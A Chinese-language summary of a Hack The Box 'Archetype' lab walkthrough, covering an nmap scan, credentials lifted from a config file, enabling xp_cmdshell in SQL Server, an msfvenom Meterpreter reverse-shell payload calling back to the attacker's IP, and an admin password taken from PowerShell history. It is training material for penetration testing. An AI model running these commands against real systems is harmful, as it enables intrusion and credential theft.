HTB-Archetype
内容提要
使用nmap扫描靶机端口,发现开放135、139、445、1433。通过smbclient连接失败后,查看配置文件获取数据库用户名和密码,使用mssqlclient登录SQL Server并启用xp_cmdshell。生成payload并通过powershell下载,获取user flag,查看历史记录获取administrator密码,最终通过psexec和evil-winrm获得root flag。
关键要点
-
靶机IP为10.129.166.143,Kali IP为10.10.16.39。
-
使用nmap扫描靶机端口,发现开放135、139、445、1433。
-
尝试使用smbclient连接失败,查看配置文件获取数据库用户名和密码。
-
获取的数据库用户名为ARCHETYPE\sql_svc,密码为M3g4c0rp123。
-
使用mssqlclient登录SQL Server并启用xp_cmdshell。
-
生成payload并通过powershell下载,获取user flag。
-
查看PowerShell历史记录,获取administrator密码MEGACORP_4dm1n!!。
-
使用psexec和evil-winrm获得root flag。
延伸解读
端口扫描的重要性
在渗透测试中,端口扫描是第一步,能够帮助测试者识别靶机上开放的服务。本文中使用nmap扫描发现了多个开放端口,这为后续的攻击提供了基础。了解哪些端口开放,可以帮助测试者制定更有效的攻击策略。
利用数据库配置文件的风险
通过查看配置文件获取数据库用户名和密码的做法,揭示了系统配置管理中的潜在风险。若配置文件未妥善保护,攻击者可以轻易获取敏感信息。因此,企业在配置管理时应加强权限控制和文件保护,防止信息泄露。
xp_cmdshell的安全隐患
启用SQL Server中的xp_cmdshell功能虽然可以执行操作系统命令,但也带来了严重的安全隐患。攻击者可以利用这一功能上传恶意代码,获取系统控制权。因此,建议在生产环境中禁用此功能,或对其使用进行严格审计。
延伸问答
如何使用nmap扫描靶机端口?
可以使用命令 nmap -sT --min-rate 10000 -p- 10.129.166.143 -oA ports 进行端口扫描。
如何获取数据库的用户名和密码?
可以查看配置文件,找到 User ID 和 Password,分别为 ARCHETYPE\sql_svc 和 M3g4c0rp123。
如何启用SQL Server中的xp_cmdshell?
使用mssqlclient登录后,执行 'EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;' 来启用xp_cmdshell。
如何生成并下载payload?
使用msfvenom生成payload,命令为 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.39 LPORT=4444 -f exe -o shell.exe',然后通过powershell下载。
如何获取administrator的密码?
查看PowerShell历史记录,找到命令 'net.exe use T: \Archetype\backups /user:administrator MEGACORP_4dm1n!!',从中获取密码 MEGACORP_4dm1n!!。
如何通过psexec和evil-winrm获得root flag?
使用psexec或evil-winrm登录靶机,确认IP无误后,即可获得root flag。